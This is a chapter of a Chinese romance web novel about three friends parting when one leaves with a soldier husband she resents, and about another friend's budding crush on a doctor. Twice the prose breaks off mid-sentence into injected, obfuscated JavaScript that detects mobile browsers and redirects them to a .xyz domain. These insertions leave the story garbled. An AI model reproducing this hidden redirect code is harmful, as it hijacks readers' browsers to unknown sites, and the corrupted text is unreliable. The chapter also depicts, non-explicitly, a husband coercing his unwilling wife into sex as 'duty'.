熊幼美眼睛不舍得眨,盯着车窗内的梁友佳仔细瞧,大颗的眼泪一滴一滴砸在衣领上。 车窗内的梁友佳被挤得麻花辫毛毛躁躁,不顾形象地趴在窗户上,一个劲儿地喊:“等我给你们寄信回来。” 唐虎薇挥手,大声回:“我们也会寄好多信好多照片给你的,等有机会就去看你。” 虽然她们都知道,这种机会几乎不可能有…… 熊幼美张口,也想说些告别的话,可是一开口就想大哭,眼泪模糊了她的视野,她胡乱地抹掉,挡住她看佳佳了。 “照顾好自己,别受委屈。”熊幼美最后只来得及喊一句,不知道她听没听见。 绿皮火车咣当咣当地开出站,熊幼美搂住唐虎薇的脖子放声哭泣。 这是十七岁的熊幼美第一次经历分别,从小一起长大的小伙伴从此有了不同的航向,她好难过。 “我,我好担心她,她要是被欺负了怎么办?” 唐虎薇用力抱住熊幼美,胸口,难过得快喘不过气了。这一别,可能一辈子都见不着了,她想象不到三十年后佳佳的模样,她以为三十年后的她们仍然住在上下楼,仍然能够每天见面,需要想象什么呢?一切都会如白开水般平常。 哭到最后,灿烂的朝阳晒透了她们脸上的泪水,留下一道道泪痕。 熊幼美吸吸鼻子,“走吧,我们去邮局,现在就写信寄出去。” 唐虎薇眼周红肿,仍旧哑着嗓子反驳:“不行,今天是工作日,还得上班。” 佳佳结婚是周六,她们请了一天假,今天没理由再请了。 梁父在她俩哭得忘我的时候已经骑着三轮车回去了。这个父亲似乎没做过什么决定,说过一句重要的话。他心里茫然着,跟随着生活随波逐流,别人说好就好,他麻木地听着顺着从着…… 来送梁友佳的,实际上只有三个人。 但是这对她来说足够了,她临走前最想见到的就是这三个人,也只有她们才是她真正的家人。 火车上的梁友佳默默流泪,抚着帕子上绣的图案,老虎,小熊和一只白色海鸥。 这是唐虎薇亲手绣的,临走前送给她。 绣工精美,和不拘小节的唐虎薇似乎永远挨不上边。 但是这确实是唐虎薇的一项绝技,是她妈妈林梅小时候逼她学的,那个时候唐虎薇年幼,林梅还有着绝对的权威,她不得不学。 唐虎薇确实有天赋,学的又好又快,林梅很是惊喜,势要把她培养成大家闺秀,端庄淑女。 但是唐虎薇每天都是咬着牙在绣,捏起绣花针就想到被逼迫时的无力和烦闷,所以有能力反抗后她再没碰过刺绣。 梁友佳一点点地摸过这些绣线,不知道她费了多少时间和精力才绣好的。 送给她时,唐虎薇说那只海鸥是她,聪明又勇敢,机敏又坚韧。 几乎把所有美好的词汇都堆叠在她身上,这既是赞美,也是祝愿。 看着帕子,她泪流得更多了。 周铮动了动手指,试探地握住梁友佳的肩膀。 安慰她:“有了探亲假,我们再回来。” 梁友佳不语,她不喜欢这个男人,甚至有些恨他,恨他打乱了自己的生活,逼着她背井离乡。 她挣开肩上的手臂,“别碰我。” 离开北京,仿佛离开了温暖泉水的滋养,梁友佳一张未语三分笑的脸此时冷若冰霜,眼眸里的寒光仿佛冬日里的幽幽鬼火。 周铮拧眉,不知道她怎么突然变了态度。只以为是想家的缘故,体贴地没有再问。 火车咣当了两天一夜才到站,和他们一起到站的还有周铮的战友。人多,所以部队派来一辆绿卡车来接。 快到家属院的时候,梁友佳和周铮下车,这段路需要步行。 直到这时,梁友佳才算真切地踩上这片陌生的土壤。 海岛上的条件很淳朴,没有宽敞的马路,也没有僻静的公园。但是越往后走,房子越整齐,一排排的红砖房让人眼前一亮,站在原地就能眺望到蔚蓝的海面和翻腾的白色浪花。 梁友佳想,如果她和小美一样会画画就好了,这样就能画下来放进信里寄给她们看了。 周铮推开一扇门,尘土飞扬,野草遍地。 “之前的房子已经收上去了,这是刚分下来的,还没来得及收拾。” 梁友佳环顾左右,和周铮简单分工后便开始打扫卫生,周铮去打水,她则擦桌子扫地。 中午吃了两碗隔壁嫂子送的面条饱腹,下午继续干,一口气收拾完,梁友佳累得直不起腰,又坚持烧了一锅水洗澡。 条件简陋,为了方便一个人倒换水,梁友佳在厨房洗的,她洗完,周铮进去洗。 梁友佳摸了摸湿漉漉的长发,三个人里,只有她是长发,上学时变着发地编好看的辫子,夏天在院子里一天洗一次头都不嫌麻烦。 她想着想着又念起那个大院儿了。 她闭着眼把手里的长发剪掉,剪的参差不齐,正合她意。 周铮穿着背心短裤出来时,看见她这副模样,不知道她什么意思。 只是顺着她说:“剪掉也好,岛上的淡水资源稀缺,短头发不费水。”虽然,他很喜欢她的两条乌黑亮丽的辫子。 梁友佳笑笑不说话。 火车上没舍得吃完的烙饼煎蛋是她的晚饭,只够一个人吃的,她也没打算分。 周铮捏捏眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491189|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他再没看出来她闹别扭,就白活这么大岁数了。 “你到底想怎么样?”周铮盘腿坐到床边,一脸认真地看着她,“我以为你已经想通了,这是在闹哪一出?” 梁友佳合上书,坐起身和他面对面,直视着他的眼睛。 她有一双温婉动人的眼睛,细长如柳叶,似含秋水。 此时这双眼里只有冬天冷冽的风。 “那我们就来说说清楚好了。” 周铮心里有不好的预感,却听她说:“尽快把你女儿接过来吧,农村条件不好,思想落后,对女孩更不好。” “可以,明天我就发电报回去。”周铮悄悄松了口气。 “你女儿可以来,但是你的父母不能来。” “没问题,他们在乡下有田,不可能来海岛。” “你每个月的工资要上交给我百分之八十,这是我们三个人的生活开销,剩下的随你。” “好,很合理。” 梁友佳对这个男人没有爱,就没有要求,把这场婚姻当成交换,她付出劳动,他提供良好的生活条件。 “那没事了,睡觉吧。”她掀开薄被。 周铮却按住她细白的手腕,倾身把她压在身下。 “这个,应该也是妻子的义务吧?”他在她耳边轻语,清凉的薄荷香顺着耳廓钻进来,梁友佳不由打了个颤。 今晚严格来说是他们的新婚之夜。 刚才游刃有余谈条件的梁友佳眼神慌张又躲闪,试着扭动手腕,挣不开。 “我不要。” “义务,必须履行。” 这是他沉沦前的最后一句话。 梁友佳意识浮沉,睫毛挂着泪珠,这个男人总是这样,不给人反驳的余地。 同一时间。 熊幼美跟着唐虎薇夜跑,汗和眼泪一起蒸发。 “好讨厌啊,我想佳佳了。” “谁不是呢。” 一下跑了五千米,两个人狼狈极了,回来后拿着澡票去澡堂痛痛快快洗了个澡。 夏天少有人来澡堂洗澡,澡票虽然每个月单位都会发,但是洗澡不仅要票,还要钱。 所以天气不冷的时候,自己在家擦擦就行,用不着来澡堂糟蹋钱。 空无一人的澡堂里,只有熊幼美和唐虎薇泡在宽大的浴池里。 “流汗好舒服,心里也没那么难受了。”熊幼美喟叹一声。 唐虎薇顺理成章道:“以后继续跑吧,舒服。” “不要,没事就不跑了,太累了。” “哼,懒熊。” “哼,我就不生气,等下你请我吃冰棍怎么样,我这个月没钱了。” “李阿姨没补贴?桦哥没给你?”除了最抠门的熊叔,这俩人应该都会给熊幼美零花钱啊。 熊幼美挠挠脖子,眼神飘忽:“我忘了跟他们说了,平时没地方花钱,一时就没想起来。” 其实是因为她不打算再跟家里人要钱了,好像还没长大的孩子一样。 唐虎薇从水里站起来往外走,熊幼美喊她:“干啥去?” “换衣服,买冰棍。”她头也不回地说。 熊幼美急急慌慌从水里出来,追上唐虎薇,“我也要!” 那些起伏的镇痛总会渐渐隐下,变成漫长的思念与期待。 18. 喜欢?是美丽的鲜花啊! 梁友佳离开半个月,熊幼美和唐虎薇给她寄了五封信和一个包裹。 包裹里装着的是两瓶雪花膏,还有一双红棕色的皮鞋,据说是沪上货,缝线齐整,皮面光泽柔和,漂亮得很突出。 但是价格也贵得很突出,要十五块钱。 熊幼美和唐虎薇没有犹豫,掏空口袋里所有的钱买了这双鞋。 “佳佳最爱美,希望她看到这双皮鞋,心情能好点。” “嗯,赶紧寄出去吧。”唐虎薇也是这么想的。 虽然心头仍有挥之不去的担忧,但是日子仍是慢慢平静下来。 唐虎薇又抓了几个小偷,逮了几个骗钱的,与人搏斗时身上青了几块,脸上挂了彩,每天的生活堪称五彩斑斓。 在大院进进出出时也让大家心惊不已,他们又开始庆幸自家孩子没有被招到派出所上班了。 另一边的熊幼美依然在慢慢悠悠度生活。 废品站大院里,阳光正浓,熊幼美躺在躺椅上,举着小人书看得聚精会神,时间久了,胳膊酸了,便侧个身继续看。 谢长骄站在院门口,不知道这种情境下合不合适进去。 “请问,熊幼美同志在吗?”他明知故问道。 “诶?”熊幼美坐起身。 “谢医生?你怎么来了?” “路过,想说顺便过来跟你打个招呼。” 在这个百无聊赖的下午,突然出现的谢长骄,是日常的意外与小惊喜。 熊幼美眼中是纯然的高兴,“谢医生真的来了啊,我以为您不喜欢废品站呢。” 毕竟谢医生那么爱干净。 谢长骄环顾周围,这个小姑娘说话一如既往地坦率。 他学着她的坦率,故意说:“嗯……本来想着打个招呼就走的,但是出乎意料的,这个废品站的环境并没有我想的那么糟糕。” 虽是这么说,笑意却从眼底漫上来,形如远山的眉毛、漆黑的瞳孔、殷红的泪痣因此变得活色生香。从前熊幼美只知道谢医生长得很好看,但是并不入心,因为没有香气。 比起冷冰冰的花瓶,她更喜欢尽情舒绽的鲜花。 熊幼美怔在原地,手指在书上摩擦,好想画下来…… 她盯着谢长骄的脸,一刻不眨,“那,那你要多呆一会吗?” 谢长骄抬起手腕看时间,“可以。” 熊幼美琥珀色的眼眸亮亮晶晶。 “我去给你倒水。”说完她突然想起,“对了,你应该不喜欢用别人的杯子,我想想哪里有新杯子。” 谢长骄出声制止:“不用找杯子了,我们随意地聊聊天就好,我不渴。” “噢噢。”熊幼美抬手悄悄安抚加速跃动的心脏。 “……” 气氛突然沉寂下来,他们其实,仅有两面之缘。 谢长骄心细,问:“你胸口不舒服吗?我帮你把脉看看。” “没有,不用。”熊幼美用力拒绝,有些许莫名的心虚。 “哦,好吧。”谢长骄捡起扶手上的小人书,翻开两页就发现,书的缝隙和空白画满了小人。 “这是你自己画的吗?很有趣。” 熊幼美凑过去和他一起看,却刻意保持着距离,“看得多了就想画自己喜欢的故事,只不过你看的这些都是练习作。” “只是练习就画的很好了,有机会一定要看看你的作品。”谢长骄毫不吝啬表达自己的欣赏。 “作品?”熊幼美不安地摩挲手指,“这个词太夸张了,我就是画着玩,打发时间而已。” 谢长骄轻轻拍了拍她头顶,拍完他的手停顿在半空中。因为她的头发又蓬又卷,被午后阳光照着,很暖和的样子。 所以他才下意识…… 自认年长许多,更加沉着冷静的谢长骄很快镇定下来,继续说:“辩证唯物主义定理中有一条是,量变引起质变,当你花费大量时间用画画打发时间的时候,你笔下的人物其实已经发生了质变。所以下次一定要给我看,我作为旁观者来帮你确定,你画的到底好不好。” 他说话时,熊幼美有片刻的失神,侃侃而谈的谢医生好温柔啊。 “对不起,你可以再讲一遍吗?”她竖起食指,小心翼翼地问。 那样亲切的谢医生,她很想多看一会。 谢长骄无奈叹气,“和人讲话的时候专心一点啊。” 随即认真道:“小熊同志周日有时间吗?一起去市图书馆看书吧,那里不光有书,还有很多画册。” “好。”熊幼美没有理由拒绝,谢医生和画册,都没有。 “那周日上午九点在图书馆门口见,我真的很期待小熊同志的作品。”他语气里强调“作品”二字。 “好。”熊幼美没有再否认,甚至心底有一丝窃喜,她以为自己藏得很好,颊边凹进去的酒窝却一览无遗。 谢长骄唇边笑意加深,真的是很好懂的人呢。 他没有待多久就回去了,熊幼美在他走后尝试着在白纸上画谢长骄的脸,却怎么都画不出他的神韵。 把笔一丢,整个人无力地倒在桌子上,用手指一点点地描摹记忆中谢医生的眉眼。 眉毛应该更浓一点,眼角的痣再小一点,眼睛应该像浸在月光里,冰冰凉凉,又透着丝丝缕缕的温柔…… 啊,她也不知道自己在想什么了! 熊幼美烦躁地揉头发,原本就乱的卷毛更加一塌糊涂。 听见动静,王大妈翻书的间隙抬头瞅了她一眼,没言语。熊幼美来这一个多月,她亲眼见证了这个年龄段的女孩子有多么“善变”,心情好坏说变就变,丰富得很。 王大妈已经习惯了,大部分时候,小熊很快就会自己把自己哄乐呵起来。 一到点,熊幼美迅速收拾东西,“大妈,我先走了,麻烦您锁门了。” “好。” 熊幼美一路飞奔到派出所门口,撑着膝盖大口喘气。 呼~跑完躁动的心跳没有平复,好像反而更兴奋了。 唐虎薇听到动静出来查看,见到她,小虎疑惑地挑眉,弯下腰,从下往上看她的表情。 就见她满脸通红,神色焦急。 “怎么了?遇到坏人了?”唐虎薇说着警觉地扫视周围。 “没,没有。”熊幼美一把拥住唐虎薇劲瘦的腰肢,急促的呼吸声里充满了激动和雀跃。 “小虎,我好像,有喜欢的人了。” 此言不亚于平地惊雷,轰响于唐虎薇耳畔。 “什么?” 唐虎薇扶着熊幼美的肩膀,凝视她的眼睛,长长的睫毛如蝴蝶的翅膀轻轻颤动,澄澈的眼眸里盛满了明亮的色彩。 “那人是谁?” “就是上次我们一起见到的中医啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491190|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐虎薇一脑袋雾水:“怎么突然喜欢上他了?” 上次她们去的时候,那医生戴着口罩,遮的严严实实,不说话都分不清是女是男,有什么好喜欢的? “就,某一个瞬间发现,原来我遇到了一个特别好的人,不仅长得漂亮,心灵也很美丽。” 熊幼美牵着唐虎薇的手,慢慢往家走,仰望天边几颗星子,和她讲起自己经过一个下午发酵后的感情。 “听你讲的谢医生,和季风哥差不多啊。” “季风哥?和他有什么关系?” “……”可怜的季风哥。 她以为小美很晚才会开窍,却没想到在一个无比寻常的下午,她突然有了一个心上人。 唐虎薇揽住她的肩膀,“没什么关系,就是好奇你怎么没有喜欢上季风哥,他也是个很好的人啊。” “虽然季风哥也很好,可是他就跟熊桦一样啊,相当于第二个哥哥,你会喜欢上熊桦吗?” 唐虎薇瞬间理解了,她老实摇头,“不会。” “是吧,如果喜欢上季风哥,我绝对会无比地鄙夷我自己。” 她语气坚定,一腔热血和正义,仿佛喜欢上季风是十恶不赦的大罪。 唐虎薇握拳挡住不受控制上扬的嘴角,另一只手摸摸她的头,夸道:“小熊真的很有原则呢。” “嗯哼!” 当天晚上,李虹霞和熊桦都发现小美的心情异常地轻飘飘。 吃饭时莫名地开心,脚尖一点一点,打着轻快的节拍…… “你捡着钱了?”熊桦疑惑。 李虹霞猜:“邮局出了好看的邮票?” 熊爱国环顾左右,虽然不知道发生了什么,但还是随大流跟着说:“你涨工资了?” “都没有,我吃完先回屋了啊,你们慢慢吃。” “噔噔噔噔噔~”边走边哼着欢快的小调。 熊桦得出结论:“不对劲。” 李虹霞罕见地没有任何头绪,小美的心情很好猜,都写在脸上,但是这次她是真的猜不到原因。 不过她没有追过去问,孩子大了有自己的秘密是很好的一件事,说明她在外面有了更广阔的世界。 李虹霞心里有些怅然若失,但是欣慰更多。 熊幼美沉浸在这种新奇又悸动的感情中,夜风阵阵,送来大朵大朵的槐花香。 梦里都是甜蜜的香气。 第二天早上熊幼美照旧和唐虎薇一起上班。 今天,不,应该说最近的话题大概都离不开那个突然让熊幼美开窍的男人。 “他比我大几岁,上过大学,很优秀的男同志。” 唐虎薇对这个条件还算满意,最重要的是小美喜欢。 “那要不让虹霞姨找个媒人打听打听?” 熊幼美一边小心翼翼地走直线一边拒绝:“不用,太快了,我想自己慢慢来。” “好吧,随便你好了,他要是欺负你,你就告诉我。”唐虎薇跟在她后边走直线,这对身体平衡性很好的她来说,轻轻松松,像日常走路一样简单。 “好~佳佳信里说那个小女孩很乖,不知道长什么样子。” 唐虎薇实事求是地说:“长什么样不重要,不给佳佳添麻烦就好。” “是呢。” 隔着好远好远好远的距离,她们却仿佛能听到海浪哗哗冲刷海岸的声音。